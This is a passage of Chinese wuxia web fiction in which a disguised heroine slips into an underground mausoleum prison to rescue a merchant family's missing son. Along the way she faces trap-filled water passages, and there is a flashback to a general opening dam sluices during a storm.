谁跟你是同盗中人,见他以为自己是爱扮女装的男人,昭早早也不说破,只道:“非也,有缘罢了。”
闵栀看氛围不对,忙上前打圆场,按昭早早的要求介绍化名:
“这位是赵青先生,熟悉地宫通道,精通机关术,此行由他领路。这位是祁道长,武功高强,亦是下地探穴的行家,定能护大家周全。”
看来是此盗非彼道啊,昭早早暗忖,难怪忽悠活人他不太行,原来特长在死人身上。拱手信口开河道:“久仰大名,失敬失敬。”
对方有样学样,“彼此彼此。”
昭早早指向桌前,“那为何徐先生也去呢?”还要收人家画册,多少得称呼尊敬点。
“他擅长岐黄之术,可应不测。”闵栀解释道,“而且他有一项特殊的本领,或许能派上用场。”
随便吧,昭早早没什么好奇心,遇到卖关子向来懒得多问,反正按时间算闵家弟弟也在地宫待了不少时日,生死未卜,确实需要大夫随行救命。
“我备了些驱瘴去秽的药丸,大伙先各服一粒。”徐大夫适时放下眉笔,拿出一个白净的小瓷瓶,自己先倒了一颗扔进嘴里,才放置桌上。
“探子汇报山中数月前曾闹过瘟疫,死了不少兵士。为防万一,我们还是稍作防范。”
三人准备妥当后,昭早早在灶边抹了一把锅底灰,三下五除二涂均。
祁道长本就形销骨立,弄乱几撮头发便与押送千里、风尘仆仆的囚犯差不太多。
唯有鬼手徐生,揽镜自照,迟迟下不了手,还得靠昭早早好心分他一鼻子黑灰,又扯散他精致的发髻。
瞧他眼中哀怨,生无可恋的模样,昭早早哈哈笑道:“别说,我现在看你顺眼多了。”
徐生白她:“你不仅没有礼貌,还没有眼光。”
“可不是。”
林外传来两声哨响,闵栀收到信号,最后又将弟弟的画像拿出来,给昭早早和祁道长复看一遍,千叮万嘱道:
“我弟弟鼻梁上有一颗红痣,很好辨认,请诸位务必留意。他虽然瘦弱,但也勉强会些拳脚功夫,而且无论处在怎样的环境,他都可以辨别方位,我相信他还活着。”
这算是海商世家祖传的本领了,据说只有从孩童时期就开始服用特殊药物,经年累月地训练才可以做到。
昭早早点点头表示知道了,宽慰的话她也不便多说,毕竟谁能保证吉人定有天相?万一回头只能给人带捆头发出来岂不打脸。
押送新一批死囚的队伍中有不少狱卒都被闵家买通,三个人穿枷戴锁地混进末尾,并未引起注意。
接收囚犯的军营兵士拿的也是改动过的名册,略一清点,只要人数不少就行,哪还会管多出来的。
于是乎,他们在名义上变成了半个死人,一脚踏进丑陵神道。
本着领队的职责,昭早早极小声地作着预告:“十二陵的外地宫名义上都是祭坛,我们作为祭品,走完这条神道就会被赶进御台,小心那里是个大斜坡……”
“拐弯!”军士喊。
“什么拐弯?得直走啊。”昭早早诧异,难道这路还重新修过了?这大青石板的,也没见改动啊?
“快走。”后面的徐生嫌她挡道,推着她向前。
昭早早跟着死气沉沉的队伍左穿右行,不仅拐出了神道,甚至都拐出了明堂,来到一片宽阔平台的背山之地,营房鳞次栉比,显然是镇陵军驻扎之所。
莫非是露了行迹被发现了?特地将他们带到此地捉拿?昭早早疑惑,看着也不太像啊。
很快她的疑惑就得到了解答,这一行死囚四五十人,都被打开木枷,只戴脚镣,挨个发了工具、农具,分成几组,听指挥干活。
有的锄草、有的挖坑、有的平地,还有像昭早早这样看着老实的,被发了柴刀就近安排砍竹子。
敢情是死前要让他们发挥余热干苦力。
宝刀在手的时候昭早早都不大会用,还被军士喝骂。天哪,想不到世间竟有慕容青无法驾驭的兵器——她苦中作乐地想,关键这柴刀都生锈了,也不磨一磨再叫她砍,巧妇难为无米之炊啊!
所幸力气大克一切歪门邪道,昭早早砍得竹子一大捆,搬回军士指定的深坑,使劲往里插。她负责下桩,其他人填土浇浆深埋,这是在打桩基,要盖竹屋。
扩建营房也不自己动手,这帮军士懒得抽筋,连将死之人都要压榨,缺不缺德!
昭早早一边暗骂,一边干活,好不容易挨到中午吃饭,喜得稀粥一碗,窝头半个,看守他们的军士还在大放厥词:
“你们也是老天爷保佑,走了大运了!下午打起精神来继续干,这竹棚是给你们自己住的!我们新来的祭酒说了,雨季之前你们就关押在上面,只要好好听话,便不必下祭坛!”
“什么?!”在一片呼天抢地、喜极而泣的欢呼声中昭早早咆哮道,“哪个新来的吃饱了没事干?!”
军士只听到‘吃饱了’三字,赞许地指向她道:“吃饱了的继续干活!”
“……”
干他爹啊。什么艰难险阻也设想了,结果第一步竟然是卡在上面下不去了?还要再住两个月?那闵弟弟怕是要变人干了吧。
昭早早刀在手中握,恶向胆边生——实在不行杀过去算了?她往地宫里一跳,谅后面也没人敢追,只是得先通知她那两个同伙。
昭早早在人群中一番探看,发现那俩跟她不在一组,全然不见踪影。
无奈,昭早早只好暂且继续安生干活,到申正时分徐生和祁道长才回来,带着大堆的茅草,开始搭屋顶。
日落西山,一天的劳作终于结束了。昭早早脚上缠着镣铐,手里捧着干饼,蹲在她自个协同一大堆人今天刚搭的竹屋里恍恍惚惚:我是谁?我在哪?我好累。
睡觉的床是没有的,还好天不算冷,囚犯们乱躺一地,盖点茅草凑合,外面留有军士把守。
半夜,靠在角落睡不着的昭早早听到有人来换班,过一会又听到有人问道:
“肖祭酒,您怎么这么晚过来?”
对方只回道:“临检。”
昭早早一咕噜立起来,怀疑自己听错了,躬身猫到门边去看——还真的是人生何处不相逢,怕什么来什么,这要是被他认出,先不说怎么解释,反正这辈子的脸面都可以不要了,天下无敌指日可待。
她躺回角落眼一闭就装死。
心里还在想:方才那人喊肖平‘祭酒’,可见菩萨心肠、大发慈悲出这主意的就是他。
这绝不是吃饱了没事干,他一向心地善良,不忍这些时间没到的人提前下活地狱煎熬。纵然是恶贯满盈、罪有应得之徒,也会让他们死得痛快,不受残忍折磨。
只怪造化弄人,偏要把他派来丑陵,要是中营能分配他去别的地方宽大为怀就好了。昭早早无声地痛斥命运,轻微的脚步声临近,朦胧中有锐利的视线从脸上划过,吓得她大气都不敢出。
半晌没有其他动静,昭早早眼皮掀开一条缝,偷看肖平走了没。月色下,他银铠白袍,长身侧立在大门还没有装好的竹屋外,不知在注视什么,端的是清辉静镀芙蓉面,素影悄临玉树姿。
昭早早头靠在柱子上,安详地合上双眼——这画面太过静谧美好,让人心满意足;又似有某种魔力,催生出潮水般的困意,将她淹没。
梦境中,河流、泥土的气息一直交替萦绕在鼻尖,那年旱季来得太早,慕容青带着人长途跋涉,几乎是日夜兼程,一座山接一座山地翻,一条河接一条河地淌,沿着龙脉要踏遍五座堤坝,每一时每一刻都在与天争命。
争的不是他的命,也无关慕容家,而是无数庄稼里的禾苗、栅栏里的牲畜、也不乏更干旱的地方,连百姓的饮水都成了问题——这才是他必须要坚持的理由。
好在近日来总算断断续续地下了些雨,虽雨势不大,总算于旱情有益。
慕容青马不停蹄连开三座大坝,赶往兰江时,水上风浪不断,饶是他体质过人、吃苦如吃饭,也觉浑身难受,烦闷不堪,没精神再与宁平公主在人前扮演同甘共苦的恩爱夫妻——虽然并无同甘只有共苦,沿途几次想送她回府,她却不肯走,勉力跟着,并未添什么麻烦,慕容青只得由她去。
眼下,他纯粹是闷极无聊,船舱里也没有别人,便找她寻点乐子。
他抽走她手中的道法经书,换成一副象骨骰子,说:“咱们来玩一把赌大小。”
公主半面纱戴了两月未摘,只露出一双秋水明眸,平淡道:“不会。”
“我可以教你。”慕容青道,“只要你不傻就能学会。三颗骰子,合数在十以上为大,十以下为小,赢者先猜下一把,开局我让你。”
公主静默不语,慕容青补充道:“十两银子一局。”
这下公主有话说了:“没钱。”
慕容青厚颜无耻问:“你嫁妆呢?”
公主指指他手里的清心静气决,“书有十箱。”
“……”狗皇帝抠门到姥姥家了,慕容青黑脸道:“那就先欠着,人不死,债不消。”
公主无言地看着他,慕容青权当是默认,以茶杯为盖,杯盏为底,摇着骨骰子就往桌面一扣:“你先猜。”
“……大。”公主略迟疑。
“那我便猜小。”慕容青嘴里说着废话,抬手提起茶杯:三二一,是他赢了。
“你欠我十两。”慕容青浅笑,“下一局该我先猜。”
接连几局,都是慕容青胜。这游戏他自小没少跟哥哥们玩,到后来单论耳力连枢哥都比不过他,他又怎么可能会输?
欠他钱的不止一个,只是物是人非,他再也没有向他们要账的机会。
慕容青渐渐沉了脸色,推开杯盏,他已不想再玩。公主却不愿道:“这不公平。
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她把三颗骨骰子取出,合掌交握在手中,摇了几下,“再猜。”
慕容青顿住,用手来摇骰子声响是断续的,彼此碰撞有声,但打在肉上自然无声,他判断不好,只能盲猜。
“大。”慕容青说。
公主揭开手掌:一二三,小。
后面几局便是有来有回,谁也不能听音辨位,全凭运气。甚至于公主后来不仅扳回欠帐,还反将他一军,伸手道:“十两。”
“……”慕容青顿觉不甘心,“先欠着。下把我来摇。”
最后在谁手里摇另一方都不放心,干脆你左我右各出一掌,合在一起摇骰子,分开时两手齐放,任骰子掉落桌面,打着旋自行停下,揭露胜负。
不好,欠二十两了。慕容青眉头一皱,当即想要赖账,恰在此时船停了,天助他也。
众人下船后天色已晚,头顶乌云密布,看起来大雨将至。慕容青命手下先带公主去镇陵监卫所安顿,又问道:“水在石像何处?”
兰江坝的左峰有文宗皇帝以剑驻地的石像,用以监测水位高低。手下回禀:“回少将军,水位已近胸口。”
这个高度正适合开闸放水,若是延误,万一遇到暴雨反有溢流的风险。
慕容青犹豫片刻,叫人准备连夜上山。
前方正遥遥驶远的马车一顿,是公主探出头来,少有地不赞同道:“雨夜上山,太危险了。”
“我心里有数。”
慕容青摆手赶她走,不想理会心头蔓延的暖意。
很久没有人关心他的安危了,但他并不需要——慕容家肩负的责任和使命,不允许一丝一毫的退缩。
暮夜山巅,狂风骤雨忽至。
白日里宏伟壮观的兰江大坝,在暗夜中似嘶吼的巨兽,不时的雷霆照亮它底部缝隙处的水流,如倾吐银河,激起下方千层白浪,水声震耳欲聋。
宽阔如坦途的坝顶上,粗长的铁索横贯两端,左侧固定有滑轮,麻绳穿过其中,一端被一队士兵齐齐抓紧,另一端已系在慕容青腰间。
雨水浇熄火把,蓑衣亦形同虚设,慕容青干脆扔掉这些,在又一道霹雳中一跃而下。
他在坠落时右手转刀,自肘向腕于左臂外侧疾速一划,鲜血飞溅。
借着转瞬即逝的雷电光亮,长刀准确无误地死死钉入茎脉交错的外壁缝隙,体重带着刀又向下拉开一点距离,腰上绳索一紧,慕容青抽出刀,悬挂在半空中,将手指伸进面前的创口。
整座庞大的坝体发出极细微的震颤,轰鸣声掩盖了这种异响,慕容青脸色苍白,他面前的创口越扩越大,已能完全容纳他两只手,但还远远不够。
他挽起自己染血的衣袖,连拂两处穴道,将手臂整个探进去,坝体像是被什么侵蚀了一样,随着他进一步的动作,创口不断扩大、变深,渐渐行成一个圆洞。
慕容青整个人躬身钻进了这个两尺多宽、仍在缓慢变大的洞中,他像是要横着在坝体钻一口深井,用血肉之躯。
当坝顶的士兵察觉到绳索有节奏的拉动时,已是半个时辰之后。好在云消雨霁,月色渐明,所有人迅速拉动绳索收紧滑轮,将面白如纸的慕容青用力拽上来。
行至半途,一股巨大而粗壮的水流伴随着尖锐的啸声彻底冲破坝身,像是一条腾飞的水龙,以不可阻挡的力量撞向下方的水域,转瞬形成湍急的旋涡,奔流而去。
慕容青一眼都懒得回头看,稀薄的月光下,他唇上一丝血色也无。
在坝顶歇了片晌,冷风吹着湿透的衣衫,更为不适,他索性不再耽搁,率人移动滑轮向前走出一段距离,再次从大坝中部如法炮制。
第二道闸口耗费的时间更久,慕容青上来的时候已近子夜。
他感到呼吸急促、心慌手抖、眼前阵阵发黑,拖着绵软的腿走到最右的预定地点时,他心知再勉强今夜就要交待在这里,有两道大的闸口已能缓燃眉之急,剩下的须修养几日再来。
他旋身想要发号施令的瞬间,一阵狂风大作,吹起他竟与裹挟一片残破的树叶并无不同,他双脚不由自主地离地,先是被高高抛起,接着仰面坠下。
比起在毫无准备的情况下被砸到墙上的恐惧,慕容青更多的是震惊与不信:弱不禁风不可怕,可怕的是发生在他身上。
今夜的事一个字都不能让人对外提。
只要他还没有因失血过多、又重伤致死的话。
有个身影立刻跟着他跳了下来,直直向他扑去。慕容青心中暗骂哪个蠢货不赶紧拉绳子,现在抓着他两个人的重量只会更大,待会拍墙上跟甩馕饼似的。
岂料对方迅疾如电,身法了得,揽住他在半空中翻转,敏捷尤胜飞鸟,顺着绳索荡向墙面、用力蹬开、反向腾起,整套动作行云流水,两人旋风般在空中划过一道弧线,稳稳落回坝上,不过瞬息。
慕容青看清此人黑衣蒙面,非军中兵将,当即出手拿他肩膀。
那人隔开他一招,月光下四目相对,慕容青怔忡刹那,再反应过来已错失良机。
其他人更阻拦不住,只能任由其如鬼魅幽灵般消失在黑暗的山野之中。
再想去追,却见少将军已支撑不住,昏迷过去。
11. 入内
生而为人,就应当要有做梦的权利——起码在想睡觉的时候能够把梦做完,而不是天不亮就被催起来干活。
大部分囚犯上眼皮都还在跟下眼皮打架,不像昭早早,两只眼皮缠缠绵绵,难分难舍,山无棱,天地合,才敢与君绝。
她闭着眼睛摇摇晃晃像湘西走尸跟着赶尸人在走,硬是把前面的死囚都瘆得退避三舍,不知不觉她排在第一个,被带到一片待垦的田地旁。
接过钉耙的时候她还有些睡眼惺忪,这不是元帅的武器吗?
此生寸功未立,德薄能鲜,岂堪当此大任,不如把嫦娥许配给我……咳,昭早早一激灵总算彻底清醒,照猫画虎地学着旁人松土翻地,挥耙垦田。
“动作快点!祭酒有令,非老弱病残,都得劳作才能换取饭食!”
田边督工的军士是个獐头鼠目的家伙,手里攥着长鞭挥来舞去。他嘴上照本宣科,表情则鄙夷不屑,时不时漫骂讥讽几句:
“你们这些渣滓真是祖坟冒青烟了,早你们两日来的,都在底下自己吃自己呢!”
另一个督工打着哈哈跟他闲聊:“那不能够,祭酒往里投食了。”
“呿。”獐头鼠目低声道,“就他多事。要不是邬将军带人出营了,哪里轮得到他派这些活折腾我们!”
“依我看,就该直接把这群家伙照老规矩扔下去完事,早一天晚一天总不是都要死,有什么差别!”
什么?昭早早挥耙子的手一顿:邬志合不在营中?这可真是点背到家了。
“谁不想省事,可没办法,人家是世家子弟,一来就能当祭酒,我们这些大头兵可比不了。”
“什么世家子,听说就是个收养的干儿子,没爹没娘,命犯孤星!”
獐头鼠目说这话时声音大了些,讲完自己还有点慌张,左顾右盼,正看到有个混小子在田里磨蹭不干活,立刻一鞭子甩过去,边抽边骂道:
“狗东西还敢偷懒!”
朗朗乾坤,日月为证,她昭早早一向是个理智人,绝不会做什么冲冠一怒的无聊事,纯粹是机缘巧合,让她想到一个绝妙的主意,要付诸实践,以测后效。
鞭稍近身时她不紧不慢一把抓住,反手绕上一圈,便连人带鞭拖拽过来——
主要是獐头鼠目太蠢不知道松手,被一拳头打掉好几颗牙才鬼吼鬼叫地要抽刀还击,这能怪她吗?
她已经收着力道了,她都没用钉耙。
“有种你现在就把我带到祭坛丢下去,不然跪下磕三个响头,承认你是个怂包孬种!”她骂道。
周围的士兵听到动静有围拢过来的趋势,而昭早早就只对那两人继续挑衅:
“怎么样,你们敢吗?一会审问起来,我可是要告诉那位祭酒大人,你们在背后骂他什么了。”
“既然你想找死,那就成全你!”
两人一个暴跳如雷,一个害怕此人真的告密,咬牙切齿押了人便走,还不忘骂骂咧咧地震慑其他囚犯,这就是不老实的下场。
熟悉的陡长斜坡,熟悉的雕花石门,被推下来之前他们卸了其脚上的镣铐,毕竟精铁可不是便宜物件,还得留给下一组囚犯用。
石门徐徐打开,展露的却不是昭早早熟悉的那座地宫。
原本三丈一盏的长明灯所剩无几,光线晦暗不明,气味难闻,到处都回荡着古怪的呻吟、哀嚎和咒骂声。
听到动静,一群蓬头垢面但相对魁梧高大的人率先冲上前来,明显是准备抢夺食物。
但一看下来的居然是一个活人,而且关键只有一个人后,面面相觑,为首的问她:“喂,怎么只有你一个?”
昭早早冷脸不答。倒不是因为对方吆五喝六地问话不礼貌,而是现在告诉他们上面临时改了规矩,无疑会被迁怒。
眼下她只想尽快找人,不想做无意义的事情。早上动静闹那么大,只要祁道长和徐生足够机灵,完全可以也找两个督工触触霉头,装成一副亡命之徒跟随造反的假象,想下来应该不难。
就是之后或许会害肖平被责怪妇人之仁之类的,昭早早黯然,总是在给他添麻烦,但眼下属实无奈,只能想办法先救人出去再说。
“你是聋子还是哑巴?爷爷问你话呢!”
几个人伸手就要推搡,昭早早扭身闪避准备绕开他们,不想这里面也还有练家子,踩着步法硬要抓她,石道狭窄躲不过去——
俗话说好言难劝找死的鬼,大慈悲不渡自绝人,昭早早用力一脚反蹬,‘砰’地一声像踹出去一个大水囊,砸向石壁发出沉闷的异响。
这一击犹如捅了马蜂窝,好事者蜂拥而至,大约是这里昏暗、压抑、绝望的气息容易被暴力一点就着,一场混战就地展开。
打斗令她感觉舒畅,昭早早第一次察觉这个事实,不禁有些心惊。
从前她厚颜地以为自己喜欢路见不平、行侠仗义,是该出手时就出手,维护公义令她畅快。
但此时此刻她骤然发现:原来出手本身亦让人痛快。
拳拳到肉的打击感,攻无不克的力量感,击倒敌人后的快意与自信,哪怕被对方击中,反击的本能也会一触即发,催生出更狂热的兴奋。
她身体里仿佛有一个压抑了很久的灵魂在渴望释放,再不收手恐有收不住手之忧,趁战局一片混乱,昭早早突围出去,先往里找了个无人的石室隔间藏匿。
这里原本的格局应该是个多人牢房,很宽敞,有引水槽和顶珠,草垫都铺得整整齐齐。
多半是之前有人住,但现下反正没人,她决定先在里面休息一会,晚点再出去寻找目标。
过了也不知道多久,她正要出去,却迎头撞见四个大汉拥簇着一个少年回来。
他们显然彼此结识,是一个群体,众星拱月似地保护着中间的少年,对昭早早这个突然出现的“外人”很是防备。
“新面孔,”站在最前面脸上带着刀疤的人说,“他应该就是今天刚下来的那个人。”
另一个单边穿耳、戴着银耳圈的人同意道:“是他,身手不错。”
后面两个紧挨着少年的大汉面貌相似,看起来是一对兄弟,他们没有搭腔,只警惕地盯着来人。
“一般一般。”昭早早口中谦虚,识趣地往外退,“我这就走。”
靠近门口快要错开这些人时,她伸长脖子向他们中间瞄了一眼——感谢自己出类拔萃的眼力,果然是小红痣!
不对,闵栀那个宝贝弟弟的全名叫什么来着,昭早早试探道:“闵宴?”
对面神色俱是一凛,中间的少年终于从包围圈中现出真容,确实跟画像上的五官别无二致,只神色要冷峻许多,眉宇间气质阴沉,一看就是关得有些久了,着急出去。
不得不说,这下来之后的运气着实是不错,目标都能自动上门。
“你是谁?”闵宴问。
看来她所料不错,这四个应该是前面来救闵宴的人,虽说人没救出去,但好歹保护上了,短时间安全无虞。
“我叫赵青,你姐姐闵栀找我来救你出去。”昭早早言简意赅,“但我们现在还不能走,得等我另外两个同伴下来。”
说完将他们近两日的情况简述了一番,又问对面:“你们为何没能出去?”
“我们也在等呢。”闵宴不阴不阳学她说话,“等我们的另外三个同伴出来。”
昭早早皱眉问,“从哪出来?”
“我带你去看看就知道了。”银耳圈态度比较和善,“我叫阿琛。少主刚回来,只管歇会罢。”说着提上刀便带路。
因着中原人甚少穿耳,此人看起来有点异域风情,昭早早紧跟在他后面,十分好奇他手上的那把军刀是怎么弄进来的。
“这个不是带进来的。”阿琛答:“是在这里面捡的。”
“捡的?”昭早早不信,地宫死牢一座,怎么可能会有随地乱扔的兵器?那还不得出大乱子。
阿琛猜到她想法,扬扬眉毛道:“这不是正带你去吗?你要本事大,也可以再捡一把。”
他既然这么说,昭早早也就不瞎猜了,等着一会儿见分晓。
两人在一间间石室组成的地下迷宫里穿行,牢门纯属摆设,大部分隔间都零零散散的聚着人,粗略估计人数在三百以上,可见囤积囚犯有一段时间了,但还不算多。
不久前才大闹过一场,没几个人还有精力找茬,就算有蠢蠢欲动的,看见阿琛和他手里的刀也退了回去。
在这种地方还得是兵器的威慑大,昭早早暗忖,越发垂涎。
她发觉阿琛在带她沿着主通路的水渠走,与前朝诸多皇陵修建暗渠不同,梁朝十二陵的上层地宫为保证囚犯基本的生存,挖的都是明渠,除了从山体渗透进来的地下水,甚至还会额外从山涧引入活流,供人饮用。
顺此路走,看来是要直接去地图上那处凭空多出的奇怪通道了,它正在明渠的尽头,从前慕容青以为那背后不过是排水暗槽,如今看来,恐怕大有文章。
“到了。”
阿琛停在地宫一处十分狭窄的转角石壁前,看起来是一条死路,只有水流沿着墙根底下开凿的沟槽源源流走。
昭早早倾耳细听,心道果然有问题。地宫空旷,水流自然会有回声,但她却能分辨出这回声与一般单纯的回响不同——有一部分来自墙后,证明水渠之上必有空间。
“怎么开?”昭早早问。
阿琛戏谑看她:“你不是机关大师吗,不自己试试?”
“你们刀都取出来了还考我干嘛,赶紧的。”昭早早催促道,“快,不然一会来人了。”
阿琛耸耸肩,还是蹲下去,把手伸进水道,向上摸索。
听他按动的声响,底下应该是有一块类似九宫格的机关,要按特定的顺序依
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次按下不同的图形,才能开启。
昭早早礼貌地夸奖:“挺厉害啊!是哪个能人破解的?”
随着三声异响,水道上方的石壁缓缓抬起,内里的高度一丈有余,但宽度却不足一尺半,形成一条异常狭长的通道。
“能人进去七天了。”阿琛答,“要是以后还能碰面,你可以自己问他。”
“这种宽度,如果不是瘦小的女人和小孩,只能侧着身进吧?”昭早早尽量向里眺望,光线所限,看不到太远,反正目之所及处的甬道宽度都没有变化。
七天恐怕够呛了。如果走得通,七天前他们的人还都在山下,自会接应到。
如果走不通,又退不出来,在这种连蹲下都做不到的窄道里卡那么久,凶多吉少。
“刀哪来的?”昭早早问。
阿琛竖起一个指头,指了指上面。昭早早抬眼看去,漆黑的石顶左右两端寒芒隐现,不仔细看还真容易忽略。
看来这顶部嵌有磁石的,吸附着的铁器不止一把,远处依稀还有些别的,昭早早道:“我进去看看。”
“等等。”阿琛不料对方真的要进,吃惊道,“你一个人去?不等你两个同伴了吗?”
“无所谓我不会走太深,”昭早早已然在活动关节,“我只进去拿几把武器,你不是也叫我自己拿刀么。”
“刀可以用绳索套下来的,”阿琛无奈道,“我们用衣服做了绳套,可以借你。”
“算了,麻烦。”昭早早笑了,“你这个人来的路上还激我,等我真要去了你又磨叽,怎么,逗人玩又心软?”
阿琛白眼一翻:“是怕你真死这了碍事。你听好,这水下……”
昭早早边听边侧身进去,但是她不下水,而是背靠墙壁双脚蹬住墙面,两手一前一后撑着,开始悬空腾挪。
“水下有绞斧是吧,我知道。”昭早早接话道,“所有地宫水道都是会装绞链绞斧的,不然容易有被异物堵塞的风险。”
“顶上面的磁石应该也是同样的防范,这道门后清淤不易,所以才以磁石筑顶,这样铁器都会被吸上去,不致堵水。”
“看来你也是行家,艺高人胆大。”阿琛笑道,“但你再进一寸,便会死。”
昭早早从善如流地立即停下,伸手向前猛地一拍又闪电般回撤,一片银白的铡刀“唰”地从石壁中突刺而出,划出一道凶狠的冷光后又收回石壁,仿佛从未出现过。
“这是要给人拦腰截成两段啊,相当于大块改刀切小。”
昭早早啧道,“底下再绞碎了冲走,这工匠厨艺不错。”
她不再向前移动,而是直起腰竖直向上怕,阿琛又提醒道:“你知道顶上如果有机关,你躲不掉的吧?”
诚如他所言,嵌在这种逼仄的空间,移动缓慢,想躲避来自上方的攻击可谓难上加难,一旦中招非死即伤。
但昭早早自有判断:
“这块磁石的吸力极大,如果藏有铁刃必定难以弹出;如果是青铜则强度、韧性都不足,容易折断;如果是弹石类,我挥开便是了。就怕有什么毒虫、毒粉之类的东西……把你衣服脱了借我裹下头。”
阿琛的表情颇为滑稽,可能是在后悔多嘴,昭早早见状怂恿他脱快点,毕竟她这样不上不下地蹬着也费劲。
“又不是大姑娘别磨叽了,害什么臊!”昭早早脸不红心不跳地催,身正不怕影子斜,她对其他人从来都没什么多余的想法。
“接着。”阿琛把衣服团成一团丢给她,裸露的上半身精壮又饱满,腹肌磊得分明,肩颈线条流畅。
昭早早不由夸赞道:“你这练得不错,比那几个瘦麻杆可强多了。”
阿琛轻笑一声,眼神古怪地打量她。昭早早转头意识到自己这副尊容何尝又不是瘦麻杆,哪有瘦麻杆嘲讽瘦麻杆的,唉!不行,等了了这事还是得操练起来。
她用袖子打结裹好头脸,继续向上蹬爬。
凑近了看原来顶部是开凿了两道平行的凹槽,槽内扣着青铜包边,条状的磁石就嵌在青铜轨里。
吸附上的武器有规律地排成两列,最前端一段空了,应是被闵宴的人取走,后面还间隔着吸附了不少,目之所及,除却短刀还有匕首、短剑、暗器……
这些东西新旧不一,有的锈迹斑斑,有的锃亮如镜,以这条石道的窄度来说,得是来过好几波人!
而且装备如此精良,什么人能一次次在镇陵军眼皮子底下干这种事?
这显然不是闵家所为,他们要有这本事,早带自家少爷出去了。
但眼下这些也不关她的事,她要的是武器,便立刻把触手能及的都够下来往外扔,少说也有十几件,“帮我接着,多的大家一块分。”
一把飞刀贴着阿琛的脸擦过,他怒道,“就不能有点准头?”
白捡装备还挑,昭早早撇嘴,向外撤出水道。
12. 僵持
众人看他俩带回这么些武器都是颇为意外,大约是没想到新来的真有两把刷子。
闵宴当即问她能不能先带他们出去,看样子如果她点头,他是不会想等她另外两个同伙的。
可惜昭早早给他的答案令人失望:
“通道又窄又长,你们想过必须先关掉铰刀,否则一直蹬墙,体力会不足。到后面动作变慢,掉下去或是碰到机关,都得死。”
“那你有办法关掉吗?”闵宴问。
“当然没有了。”昭早早像看傻子一样瞅他,能关她不早关了。
闵宴一脸不愉:“就没有其他办法?”
“我反正没有,你等着看祁道长有没有。”昭早早摊手,“那也是你姐姐找来的行家。”
术业有专攻,机扩链条这类手工复杂的一向非她所长。
闻言闵宴便没再多说,半晌却问:“我姐姐还好吗?”
“挺好的啊。”昭早早面不改色地答完,想到那天闵栀来送他们时手上还缠着夹板,顿觉晚几天出去也行,免得给弟弟看了心疼。
到时候夹板也应该撤了,再不撤可就不礼貌,是对她干脆利落的动作的一种污蔑。
约莫在傍晚,昭早早无聊得满地宫寻找合适的石头磨刀。
磨完自己的还不算,又把备用的几把磨了,期间有几个鬼鬼祟祟想偷刀的,被她一顿教训。
听闻石门处传来动静,她第一个冲上前去,却只是从很小的投食洞里掉下来一袋子干粮,而非活人。
到底还是满怀失望地抢了几个饼,昭早早抖着腿在入口附近找了个安静的地方边吃边等,心知肚明自己还是耐性太差,沉不住气,多磨炼磨炼也好。
明事理的状态持续不了一整夜,也不知道是什么时辰,守在门边的她被一阵哭声和梦呓吵醒,在地宫里这是再自然不过的声音,也无法苛责。
不过总有人脾气暴躁,骂骂咧咧地又要搞出一场扭打,昭早早暴起怒喝道:“都给我安静!”
她一刀砍在石壁上激得火星四溅,金石之声刺耳,“再吵的就去见阎王!”
语音刚落,石门沉沉洞开,有人背着一片阴冷的清辉迈进来,背着月光跟阎王驾临似的唬人,昭早早定睛一看——鬼手徐生!你总算来了!
她快步迎上去,果然祁道长就跟在后面,手里还拿短刀挟持着一个人。
原本就觉得身形熟悉,再等她看清楚那人样貌,只觉全身血液轰然上涌——
她能听到自己心脏骤然加快的跳动声,拳头攥紧刀柄的摩擦声,眼眶在发热,或许是充血所致,她在黑暗中视物更为清晰,能精确地估量那把锋利的刀刃距肖平脖颈不足半寸,而她没有把握能够先一步砍断祁道长的手。
“祁道长,你挟持他做什么?”昭早早缓缓吸气,尽量让自己足够平和,压低声音道,“把刀先放下。”
“你怎么也有刀?”徐生问,“哪来的,找到少主人了吗?”
“嗯,跟我走,我带你们去见他。”昭早早嘴上回答着,却并没有动,也没有看徐生。她一瞬不瞬地注视着祁道长。
“你……”祁道长握紧匕首,冰寒的刃几乎就贴在手下人脉动的青筋上。
他一时不知该怎么形容,昭早早明明看起来就只是在正常地看他,但一股直冲天灵盖的警觉却让他浑身戒备,别说放下刀,他全身的神经都更绷紧了。
昭早早语气疑惑道:“怎么了?”
祁道长不禁环顾四周,三三两两的囚犯探头探脑地窥视他们,但一看这阵势就不好惹,暂且还没有人上前,他也并没有看到什么存在威胁的对象。
只好归咎于错觉,他说道:“你干嘛压着嗓子说话?”这个雌雄难辩的赵青一向是声音中性但清亮,现在哑声哑气地听着怪难受。
“没有啊。”昭早早无辜道,“底下太闷,待久了你也这样。这个人是怎么回事?你把军士带下来做什么?”
“这位可是祭酒大人。”祁道长略微放松下来。
“你被带走之后不久,他听到消息赶来,把那几个擅开祭坛的人都扣下了,说是要按军法处置。你觉得我们还有机会用同样的方法下来吗?”
“那是不好办。”昭早早随口说着,向他靠近,“后来呢?”
祁道长浑身汗毛直竖,立刻押着人向后退了一步,他自己也没闹明白怎么回事,但刚放松的手臂立刻绷紧了,低喝道:“站住!别过来。”
“你什么意思?”昭早早一脸莫名其妙地看向他,徐生也有些奇怪道:“在这耽搁什么呢?把人绑了丢这就是,赶紧去找少主。”
说着用不知从哪顺手牵羊的绳子去捆肖平的手脚。
肖平应该是被他们点过穴道,活动本就不畅,被绑也只能无力地微微挣动。
徐生边动作边简要说明,但这次一开口却用的是肖平的声音:
“这人在营地一通训话,我擅仿音,到了晚上就用他的声音引走守卫,祁道长开锁,本来是打算神不知鬼不觉偷偷潜进来的,却又偏巧在御台外面撞见,只好请他跟我们一块下来了。”
“原来这就是你特殊的本领,果然以假乱真。”昭早早心不在焉地搭着话,直到徐生绑好人,祁道长终于持刀退开时,她才长舒一口气,跨步到足以贴身护着肖平的位置。
他整个人都被笼罩在她的身影里,这个距离,这里没有人可以越过她。
“好了,我们走吧。”
昭早早哪里理会,反手一刀,徐生忙活半天的绳索便瞬时断成两截,落到地上。祁道长和徐生还不及反应,昭早早已出手如电,解开了肖平周身穴道。
“你做什么?!”两人异口同声道。
“你们两个有没有脑子。”昭早早冷脸轻扬下巴,示意周边暗处无数影影绰绰的身影。
“你们把他捆在这里,我们一走,这些家伙能吃了他。我是来救人的,不是来杀人的。”
徐生无奈:“那不然怎么办,还能带他一起走吗?”
昭早早反问:“为什么不?”
徐生诧异道:“难道你想在出去之后被官府通缉捉拿?”
“告发我们对他有什么好处吗?”昭早早挑眉道,“入了地宫就等于人已经死了,他只要默不作声揭过去,最多也就是‘玩忽职守’失踪了几天。”
“放跑死刑犯反而是大罪,他不会那么傻。”说完她向肖平使了个眼色,也不知他能不能看懂。
